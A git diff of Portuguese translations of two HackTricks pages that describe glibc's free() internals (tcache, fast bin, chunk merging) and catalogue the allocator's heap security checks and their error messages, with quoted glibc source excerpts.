|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Apoie o HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## Resumo do Pedido Gratuito <a href="#libc_free" id="libc_free"></a>
|
## Resumo da Ordem Free <a href="#libc_free" id="libc_free"></a>
|
||||||
|
|
||||||
(Nenhuma verificação é explicada neste resumo e alguns casos foram omitidos por brevidade)
|
(Nenhuma verificação é explicada neste resumo e alguns casos foram omitidos para brevidade)
|
||||||
|
|
||||||
1. Se o endereço for nulo, não faça nada
|
1. Se o endereço for nulo, não faça nada
|
||||||
2. Se o bloco foi mapeado, desmapeie-o e termine
|
2. Se o chunk foi mmaped, mummap ele e termine
|
||||||
3. Chame `_int_free`:
|
3. Chame `_int_free`:
|
||||||
1. Se possível, adicione o bloco ao tcache
|
1. Se possível, adicione o chunk ao tcache
|
||||||
2. Se possível, adicione o bloco ao fast bin
|
2. Se possível, adicione o chunk ao fast bin
|
||||||
3. Chame `_int_free_merge_chunk` para consolidar o bloco, se necessário, e adicione-o à lista não ordenada
|
3. Chame `_int_free_merge_chunk` para consolidar o chunk se necessário e adicione-o à lista não ordenada
|
||||||
|
|
||||||
## \_\_libc\_free <a href="#libc_free" id="libc_free"></a>
|
## \_\_libc\_free <a href="#libc_free" id="libc_free"></a>
|
||||||
|
|
||||||
`Free` chama `__libc_free`.
|
`Free` chama `__libc_free`.
|
||||||
|
|
||||||
* Se o endereço passado for Nulo (0), não faça nada.
|
* Se o endereço passado for nulo (0), não faça nada.
|
||||||
* Verifique a tag do ponteiro
|
* Verifique a tag do ponteiro
|
||||||
* Se o bloco estiver `mapeado`, `desmapeie` e é isso
|
* Se o chunk for `mmaped`, `mummap` ele e isso é tudo
|
||||||
* Se não, adicione a cor e chame `_int_free` sobre ele
|
* Se não, adicione a cor e chame `_int_free` sobre ele
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Código __lib_free</summary>
|
<summary>__lib_free código</summary>
|
||||||
```c
|
```c
|
||||||
void
|
void
|
||||||
__libc_free (void *mem)
|
__libc_free (void *mem)
|
||||||
|
@ -91,16 +91,16 @@ libc_hidden_def (__libc_free)
|
||||||
|
|
||||||
## \_int\_free <a href="#int_free" id="int_free"></a>
|
## \_int\_free <a href="#int_free" id="int_free"></a>
|
||||||
|
|
||||||
### Início do \_int\_free <a href="#int_free" id="int_free"></a>
|
### \_int\_free start <a href="#int_free" id="int_free"></a>
|
||||||
|
|
||||||
Começa com algumas verificações para garantir que:
|
Começa com algumas verificações para garantir que:
|
||||||
|
|
||||||
* o **ponteiro** está **alinhado**, ou aciona o erro `free(): invalid pointer`
|
* o **ponteiro** está **alinhado,** ou dispara o erro `free(): invalid pointer`
|
||||||
* o **tamanho** não é menor que o mínimo e que o **tamanho** também está **alinhado** ou aciona o erro: `free(): invalid size`
|
* o **tamanho** não é menor que o mínimo e que o **tamanho** também está **alinhado** ou dispara o erro: `free(): invalid size`
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Início do \_int\_free</summary>
|
<summary>_int_free start</summary>
|
||||||
```c
|
```c
|
||||||
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4493C1-L4513C28
|
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4493C1-L4513C28
|
||||||
|
|
||||||
|
@ -132,13 +132,13 @@ check_inuse_chunk(av, p);
|
||||||
|
|
||||||
### \_int\_free tcache <a href="#int_free" id="int_free"></a>
|
### \_int\_free tcache <a href="#int_free" id="int_free"></a>
|
||||||
|
|
||||||
Ele primeiro tentará alocar esse chunk no tcache relacionado. No entanto, algumas verificações são realizadas anteriormente. Ele irá percorrer todos os chunks do tcache no mesmo índice do chunk liberado e:
|
Ele tentará primeiro alocar este bloco no tcache relacionado. No entanto, algumas verificações são realizadas anteriormente. Ele percorrerá todos os blocos do tcache no mesmo índice que o bloco liberado e:
|
||||||
|
|
||||||
- Se houver mais entradas do que `mp_.tcache_count`: `free(): too many chunks detected in tcache`
|
* Se houver mais entradas do que `mp_.tcache_count`: `free(): too many chunks detected in tcache`
|
||||||
- Se a entrada não estiver alinhada: `free(): unaligned chunk detected in tcache 2`
|
* Se a entrada não estiver alinhada: free(): `unaligned chunk detected in tcache 2`
|
||||||
- se o chunk liberado já foi liberado e está presente como chunk no tcache: `free(): double free detected in tcache 2`
|
* se o bloco liberado já foi liberado e está presente como bloco no tcache: `free(): double free detected in tcache 2`
|
||||||
|
|
||||||
Se tudo correr bem, o chunk é adicionado ao tcache e a função retorna.
|
Se tudo correr bem, o bloco é adicionado ao tcache e a função retorna.
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -190,13 +190,13 @@ return;
|
||||||
|
|
||||||
### \_int\_free fast bin <a href="#int_free" id="int_free"></a>
|
### \_int\_free fast bin <a href="#int_free" id="int_free"></a>
|
||||||
|
|
||||||
Comece verificando se o tamanho é adequado para o fast bin e verifique se é possível colocá-lo perto do top chunk.
|
Comece verificando se o tamanho é adequado para fast bin e verifique se é possível configurá-lo próximo ao top chunk.
|
||||||
|
|
||||||
Em seguida, adicione o chunk liberado no topo do fast bin enquanto realiza algumas verificações:
|
Em seguida, adicione o chunk liberado no topo do fast bin enquanto realiza algumas verificações:
|
||||||
|
|
||||||
- Se o tamanho do chunk for inválido (muito grande ou pequeno), acione: `free(): invalid next size (fast)`
|
* Se o tamanho do chunk for inválido (muito grande ou pequeno) acione: `free(): invalid next size (fast)`
|
||||||
- Se o chunk adicionado já estava no topo do fast bin: `double free or corruption (fasttop)`
|
* Se o chunk adicionado já era o topo do fast bin: `double free or corruption (fasttop)`
|
||||||
- Se o tamanho do chunk no topo tiver um tamanho diferente do chunk que estamos adicionando: `invalid fastbin entry (free)`
|
* Se o tamanho do chunk no topo tiver um tamanho diferente do chunk que estamos adicionando: `invalid fastbin entry (free)`
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -281,11 +281,15 @@ if (have_lock && old != NULL
|
||||||
malloc_printerr ("invalid fastbin entry (free)");
|
malloc_printerr ("invalid fastbin entry (free)");
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
### \_int\_free final <a href="#int_free" id="int_free"></a>
|
|
||||||
|
|
||||||
Se o bloco ainda não foi alocado em nenhum bin, chame `_int_free_merge_chunk`
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
### \_int\_free finale <a href="#int_free" id="int_free"></a>
|
||||||
|
|
||||||
|
Se o chunk ainda não estiver alocado em nenhum bin, chame `_int_free_merge_chunk`
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary>_int_free finale</summary>
|
||||||
```c
|
```c
|
||||||
/*
|
/*
|
||||||
Consolidate other non-mmapped chunks as they arrive.
|
Consolidate other non-mmapped chunks as they arrive.
|
||||||
|
@ -318,7 +322,7 @@ munmap_chunk (p);
|
||||||
|
|
||||||
## \_int\_free\_merge\_chunk
|
## \_int\_free\_merge\_chunk
|
||||||
|
|
||||||
Esta função tentará mesclar o chunk P de SIZE bytes com seus vizinhos. Coloque o chunk resultante na lista de bins não ordenados.
|
Esta função tentará mesclar o chunk P de SIZE bytes com seus vizinhos. Coloque o chunk resultante na lista de bin não ordenados.
|
||||||
|
|
||||||
Algumas verificações são realizadas:
|
Algumas verificações são realizadas:
|
||||||
|
|
||||||
|
@ -326,11 +330,11 @@ Algumas verificações são realizadas:
|
||||||
* Se o próximo chunk está fora dos limites da arena: `double free or corruption (out)`
|
* Se o próximo chunk está fora dos limites da arena: `double free or corruption (out)`
|
||||||
* Se o chunk não está marcado como usado (no `prev_inuse` do chunk seguinte): `double free or corruption (!prev)`
|
* Se o chunk não está marcado como usado (no `prev_inuse` do chunk seguinte): `double free or corruption (!prev)`
|
||||||
* Se o próximo chunk tem um tamanho muito pequeno ou muito grande: `free(): invalid next size (normal)`
|
* Se o próximo chunk tem um tamanho muito pequeno ou muito grande: `free(): invalid next size (normal)`
|
||||||
* se o chunk anterior não está em uso, ele tentará consolidar. Mas, se o prev\_size difere do tamanho indicado no chunk anterior: `corrupted size vs. prev_size while consolidating`
|
* se o chunk anterior não estiver em uso, tentará consolidar. Mas, se o prev\_size diferir do tamanho indicado no chunk anterior: `corrupted size vs. prev_size while consolidating`
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Código \_int\_free\_merge\_chunk</summary>
|
<summary>_int_free_merge_chunk code</summary>
|
||||||
```c
|
```c
|
||||||
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4660C1-L4702C2
|
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4660C1-L4702C2
|
||||||
|
|
||||||
|
@ -381,16 +385,16 @@ _int_free_maybe_consolidate (av, size);
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprenda e pratique AWS Hacking: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Treinamento AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Aprenda e pratique GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Treinamento GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Suporte o HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -1,84 +1,84 @@
|
||||||
# Verificações de Segurança das Funções de Heap
|
# Verificações de Segurança das Funções de Heap
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Treinamento HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Apoie o HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## unlink
|
## unlink
|
||||||
|
|
||||||
Para mais informações, verifique:
|
Para mais informações, consulte:
|
||||||
|
|
||||||
{% content-ref url="unlink.md" %}
|
{% content-ref url="unlink.md" %}
|
||||||
[unlink.md](unlink.md)
|
[unlink.md](unlink.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
Esta é um resumo das verificações realizadas:
|
Este é um resumo das verificações realizadas:
|
||||||
|
|
||||||
* Verificar se o tamanho indicado do chunk é o mesmo que o `prev_size` indicado no próximo chunk
|
* Verifique se o tamanho indicado do chunk é o mesmo que o `prev_size` indicado no próximo chunk
|
||||||
* Mensagem de erro: `corrupted size vs. prev_size`
|
* Mensagem de erro: `corrupted size vs. prev_size`
|
||||||
* Verificar também se `P->fd->bk == P` e `P->bk->fw == P`
|
* Verifique também se `P->fd->bk == P` e `P->bk->fw == P`
|
||||||
* Mensagem de erro: `corrupted double-linked list`
|
* Mensagem de erro: `corrupted double-linked list`
|
||||||
* Se o chunk não é pequeno, verificar se `P->fd_nextsize->bk_nextsize == P` e `P->bk_nextsize->fd_nextsize == P`
|
* Se o chunk não for pequeno, verifique se `P->fd_nextsize->bk_nextsize == P` e `P->bk_nextsize->fd_nextsize == P`
|
||||||
* Mensagem de erro: `corrupted double-linked list (not small)`
|
* Mensagem de erro: `corrupted double-linked list (not small)`
|
||||||
|
|
||||||
## \_int\_malloc
|
## \_int\_malloc
|
||||||
|
|
||||||
Para mais informações, verifique:
|
Para mais informações, consulte:
|
||||||
|
|
||||||
{% content-ref url="malloc-and-sysmalloc.md" %}
|
{% content-ref url="malloc-and-sysmalloc.md" %}
|
||||||
[malloc-and-sysmalloc.md](malloc-and-sysmalloc.md)
|
[malloc-and-sysmalloc.md](malloc-and-sysmalloc.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
* **Verificações durante a busca de fast bin:**
|
* **Verificações durante a busca em fast bin:**
|
||||||
* Se o chunk estiver desalinhado:
|
* Se o chunk estiver desalinhado:
|
||||||
* Mensagem de erro: `malloc(): unaligned fastbin chunk detected 2`
|
* Mensagem de erro: `malloc(): unaligned fastbin chunk detected 2`
|
||||||
* Se o chunk à frente estiver desalinhado:
|
* Se o chunk para frente estiver desalinhado:
|
||||||
* Mensagem de erro: `malloc(): unaligned fastbin chunk detected`
|
* Mensagem de erro: `malloc(): unaligned fastbin chunk detected`
|
||||||
* Se o chunk retornado tiver um tamanho incorreto devido ao seu índice no fast bin:
|
* Se o chunk retornado tiver um tamanho que não está correto por causa de seu índice no fast bin:
|
||||||
* Mensagem de erro: `malloc(): memory corruption (fast)`
|
* Mensagem de erro: `malloc(): memory corruption (fast)`
|
||||||
* Se algum chunk usado para preencher o tcache estiver desalinhado:
|
* Se algum chunk usado para preencher o tcache estiver desalinhado:
|
||||||
* Mensagem de erro: `malloc(): unaligned fastbin chunk detected 3`
|
* Mensagem de erro: `malloc(): unaligned fastbin chunk detected 3`
|
||||||
* **Verificações durante a busca de small bin:**
|
* **Verificações durante a busca em small bin:**
|
||||||
* Se `victim->bk->fd != victim`:
|
* Se `victim->bk->fd != victim`:
|
||||||
* Mensagem de erro: `malloc(): smallbin double linked list corrupted`
|
* Mensagem de erro: `malloc(): smallbin double linked list corrupted`
|
||||||
* **Verificações durante a consolidação** realizadas para cada chunk do fast bin: 
|
* **Verificações durante a consolidação** realizadas para cada chunk de fast bin: 
|
||||||
* Se o chunk estiver desalinhado, acionar:
|
* Se o chunk estiver desalinhado, acione:
|
||||||
* Mensagem de erro: `malloc_consolidate(): unaligned fastbin chunk detected`
|
* Mensagem de erro: `malloc_consolidate(): unaligned fastbin chunk detected`
|
||||||
* Se o chunk tiver um tamanho diferente do que deveria devido ao índice em que está:
|
* Se o chunk tiver um tamanho diferente do que deveria por causa do índice em que está:
|
||||||
* Mensagem de erro: `malloc_consolidate(): invalid chunk size`
|
* Mensagem de erro: `malloc_consolidate(): invalid chunk size`
|
||||||
* Se o chunk anterior não estiver em uso e o chunk anterior tiver um tamanho diferente do indicado por prev\_chunk:
|
* Se o chunk anterior não estiver em uso e o chunk anterior tiver um tamanho diferente do indicado por prev\_chunk:
|
||||||
* Mensagem de erro: `corrupted size vs. prev_size in fastbins`
|
* Mensagem de erro: `corrupted size vs. prev_size in fastbins`
|
||||||
* **Verificações durante a busca de unsorted bin**:
|
* **Verificações durante a busca em unsorted bin**:
|
||||||
* Se o tamanho do chunk estiver estranho (muito pequeno ou muito grande): 
|
* Se o tamanho do chunk for estranho (muito pequeno ou muito grande): 
|
||||||
* Mensagem de erro: `malloc(): invalid size (unsorted)`
|
* Mensagem de erro: `malloc(): invalid size (unsorted)`
|
||||||
* Se o tamanho do próximo chunk estiver estranho (muito pequeno ou muito grande):
|
* Se o tamanho do próximo chunk for estranho (muito pequeno ou muito grande):
|
||||||
* Mensagem de erro: `malloc(): invalid next size (unsorted)`
|
* Mensagem de erro: `malloc(): invalid next size (unsorted)`
|
||||||
* Se o tamanho anterior indicado pelo próximo chunk diferir do tamanho do chunk:
|
* Se o tamanho anterior indicado pelo próximo chunk difere do tamanho do chunk:
|
||||||
* Mensagem de erro: `malloc(): mismatching next->prev_size (unsorted)`
|
* Mensagem de erro: `malloc(): mismatching next->prev_size (unsorted)`
|
||||||
* Se não `victim->bck->fd == victim` ou não `victim->fd == av (arena)`:
|
* Se não `victim->bck->fd == victim` ou não `victim->fd == av (arena)`:
|
||||||
* Mensagem de erro: `malloc(): unsorted double linked list corrupted`
|
* Mensagem de erro: `malloc(): unsorted double linked list corrupted`
|
||||||
* Como sempre estamos verificando o último, seu fd deve estar sempre apontando para a estrutura da arena.
|
* Como estamos sempre verificando o último, seu fd deve sempre apontar para a estrutura da arena.
|
||||||
* Se o próximo chunk não estiver indicando que o anterior está em uso:
|
* Se o próximo chunk não indicar que o anterior está em uso:
|
||||||
* Mensagem de erro: `malloc(): invalid next->prev_inuse (unsorted)`
|
* Mensagem de erro: `malloc(): invalid next->prev_inuse (unsorted)`
|
||||||
* Se `fwd->bk_nextsize->fd_nextsize != fwd`:
|
* Se `fwd->bk_nextsize->fd_nextsize != fwd`:
|
||||||
* Mensagem de erro: `malloc(): largebin double linked list corrupted (nextsize)`
|
* Mensagem de erro: `malloc(): largebin double linked list corrupted (nextsize)`
|
||||||
* Se `fwd->bk->fd != fwd`:
|
* Se `fwd->bk->fd != fwd`:
|
||||||
* Mensagem de erro: `malloc(): largebin double linked list corrupted (bk)`
|
* Mensagem de erro: `malloc(): largebin double linked list corrupted (bk)`
|
||||||
* **Verificações durante a busca de large bin (por índice):**
|
* **Verificações durante a busca em large bin (por índice):**
|
||||||
* `bck->fd-> bk != bck`:
|
* `bck->fd-> bk != bck`:
|
||||||
* Mensagem de erro: `malloc(): corrupted unsorted chunks`
|
* Mensagem de erro: `malloc(): corrupted unsorted chunks`
|
||||||
* **Verificações durante a busca de large bin (próximo maior):**
|
* **Verificações durante a busca em large bin (próximo maior):**
|
||||||
* `bck->fd-> bk != bck`:
|
* `bck->fd-> bk != bck`:
|
||||||
* Mensagem de erro: `malloc(): corrupted unsorted chunks2`
|
* Mensagem de erro: `malloc(): corrupted unsorted chunks2`
|
||||||
* **Verificações durante o uso do Top chunk:**
|
* **Verificações durante o uso do Top chunk:**
|
||||||
|
@ -105,63 +105,64 @@ Para mais informações, verifique:
|
||||||
|
|
||||||
## `_int_free`
|
## `_int_free`
|
||||||
|
|
||||||
Para mais informações, verifique:
|
Para mais informações, consulte:
|
||||||
|
|
||||||
{% content-ref url="free.md" %}
|
{% content-ref url="free.md" %}
|
||||||
[free.md](free.md)
|
[free.md](free.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
* **Verificações no início do `_int_free`:**
|
* **Verificações durante o início de `_int_free`:**
|
||||||
* Ponteiro está alinhado:
|
* O ponteiro está alinhado:
|
||||||
* Mensagem de erro: `free(): invalid pointer`
|
* Mensagem de erro: `free(): invalid pointer`
|
||||||
* Tamanho maior que `MINSIZE` e tamanho também alinhado:
|
* Tamanho maior que `MINSIZE` e tamanho também alinhado:
|
||||||
* Mensagem de erro: `free(): invalid size`
|
* Mensagem de erro: `free(): invalid size`
|
||||||
* **Verificações no tcache do `_int_free`:**
|
* **Verificações em `_int_free` tcache:**
|
||||||
* Se houver mais entradas do que `mp_.tcache_count`:
|
* Se houver mais entradas do que `mp_.tcache_count`:
|
||||||
* Mensagem de erro: `free(): too many chunks detected in tcache`
|
* Mensagem de erro: `free(): too many chunks detected in tcache`
|
||||||
* Se a entrada não estiver alinhada:
|
* Se a entrada não estiver alinhada:
|
||||||
* Mensagem de erro: `free(): unaligned chunk detected in tcache 2`
|
* Mensagem de erro: `free(): unaligned chunk detected in tcache 2`
|
||||||
* Se o chunk liberado já foi liberado e está presente como chunk no tcache:
|
* Se o chunk liberado já foi liberado e está presente como chunk no tcache:
|
||||||
* Mensagem de erro: `free(): double free detected in tcache 2`
|
* Mensagem de erro: `free(): double free detected in tcache 2`
|
||||||
* **Verificações no fast bin do `_int_free`:**
|
* **Verificações em `_int_free` fast bin:**
|
||||||
* Se o tamanho do chunk for inválido (muito grande ou pequeno) acionar:
|
* Se o tamanho do chunk for inválido (muito grande ou pequeno), acione:
|
||||||
* Mensagem de erro: `free(): invalid next size (fast)`
|
* Mensagem de erro: `free(): invalid next size (fast)`
|
||||||
* Se o chunk adicionado já estiver no topo do fast bin:
|
* Se o chunk adicionado já era o topo do fast bin:
|
||||||
* Mensagem de erro: `double free or corruption (fasttop)`
|
* Mensagem de erro: `double free or corruption (fasttop)`
|
||||||
* Se o tamanho do chunk no topo tiver um tamanho diferente do chunk que estamos adicionando:
|
* Se o tamanho do chunk no topo tiver um tamanho diferente do chunk que estamos adicionando:
|
||||||
* Mensagem de erro: `invalid fastbin entry (free)`
|
* Mensagem de erro: `invalid fastbin entry (free)`
|
||||||
|
|
||||||
## **`_int_free_merge_chunk`**
|
## **`_int_free_merge_chunk`**
|
||||||
|
|
||||||
* **Verificações em `_int_free_merge_chunk`:**
|
* **Verificações em `_int_free_merge_chunk`:**
|
||||||
* Se o chunk é o chunk superior:
|
* Se o chunk for o top chunk:
|
||||||
* Mensagem de erro: `double free or corruption (top)`
|
* Mensagem de erro: `double free or corruption (top)`
|
||||||
* Se o próximo chunk está fora dos limites da arena:
|
* Se o próximo chunk estiver fora dos limites da arena:
|
||||||
* Mensagem de erro: `double free or corruption (out)`
|
* Mensagem de erro: `double free or corruption (out)`
|
||||||
* Se o chunk não está marcado como usado (no prev\_inuse do chunk seguinte):
|
* Se o chunk não estiver marcado como usado (no prev\_inuse do chunk seguinte):
|
||||||
* Mensagem de erro: `double free or corruption (!prev)`
|
* Mensagem de erro: `double free or corruption (!prev)`
|
||||||
* Se o próximo chunk tem um tamanho muito pequeno ou muito grande:
|
* Se o próximo chunk tiver um tamanho muito pequeno ou muito grande:
|
||||||
* Mensagem de erro: `free(): invalid next size (normal)`
|
* Mensagem de erro: `free(): invalid next size (normal)`
|
||||||
* Se o chunk anterior não está em uso, ele tentará consolidar. Mas, se o `prev_size` difere do tamanho indicado no chunk anterior:
|
* Se o chunk anterior não estiver em uso, ele tentará consolidar. Mas, se o `prev_size` diferir do tamanho indicado no chunk anterior:
|
||||||
* Mensagem de erro: `corrupted size vs. prev_size while consolidating`
|
* Mensagem de erro: `corrupted size vs. prev_size while consolidating`
|
||||||
|
|
||||||
## **`_int_free_create_chunk`**
|
## **`_int_free_create_chunk`**
|
||||||
|
|
||||||
* **Verificações em `_int_free_create_chunk`:**
|
* **Verificações em `_int_free_create_chunk`:**
|
||||||
* Ao adicionar um chunk no bin não ordenado, verificar se `unsorted_chunks(av)->fd->bk == unsorted_chunks(av)`:
|
* Adicionando um chunk no unsorted bin, verifique se `unsorted_chunks(av)->fd->bk == unsorted_chunks(av)`:
|
||||||
* Mensagem de erro: `free(): corrupted unsorted chunks`
|
* Mensagem de erro: `free(): corrupted unsorted chunks`
|
||||||
|
|
||||||
## `do_check_malloc_state`
|
## `do_check_malloc_state`
|
||||||
|
|
||||||
* **Verificações em `do_check_malloc_state`:**
|
* **Verificações em `do_check_malloc_state`:**
|
||||||
* Se o chunk do fast bin estiver desalinhado:
|
* Se o fast bin chunk estiver desalinhado:
|
||||||
* Mensagem de erro: `do_check_malloc_state(): unaligned fastbin chunk detected`
|
* Mensagem de erro: `do_check_malloc_state(): unaligned fastbin chunk detected`
|
||||||
|
|
||||||
## `malloc_consolidate`
|
## `malloc_consolidate`
|
||||||
|
|
||||||
* **Verificações em `malloc_consolidate`:**
|
* **Verificações em `malloc_consolidate`:**
|
||||||
* Se o chunk do fast bin estiver desalinhado:
|
* Se o fast bin chunk estiver desalinhado:
|
||||||
* Mensagem de erro: `malloc_consolidate(): unaligned fastbin chunk detected`
|
* Mensagem de erro: `malloc_consolidate(): unaligned fastbin chunk detected`
|
||||||
* Se o tamanho do chunk do fast bin estiver incorreto:
|
* Se o tamanho do fast bin chunk estiver incorreto:
|
||||||
* Mensagem de erro: `malloc_consolidate(): invalid chunk size`
|
* Mensagem de erro: `malloc_consolidate(): invalid chunk size`
|
||||||
|
|
||||||
## `_int_realloc`
|
## `_int_realloc`
|
||||||
|
@ -171,3 +172,18 @@ Para mais informações, verifique:
|
||||||
* Mensagem de erro: `realloc(): invalid old size`
|
* Mensagem de erro: `realloc(): invalid old size`
|
||||||
* Tamanho do próximo chunk é muito grande ou muito pequeno:
|
* Tamanho do próximo chunk é muito grande ou muito pequeno:
|
||||||
* Mensagem de erro: `realloc(): invalid next size`
|
* Mensagem de erro: `realloc(): invalid next size`
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
|
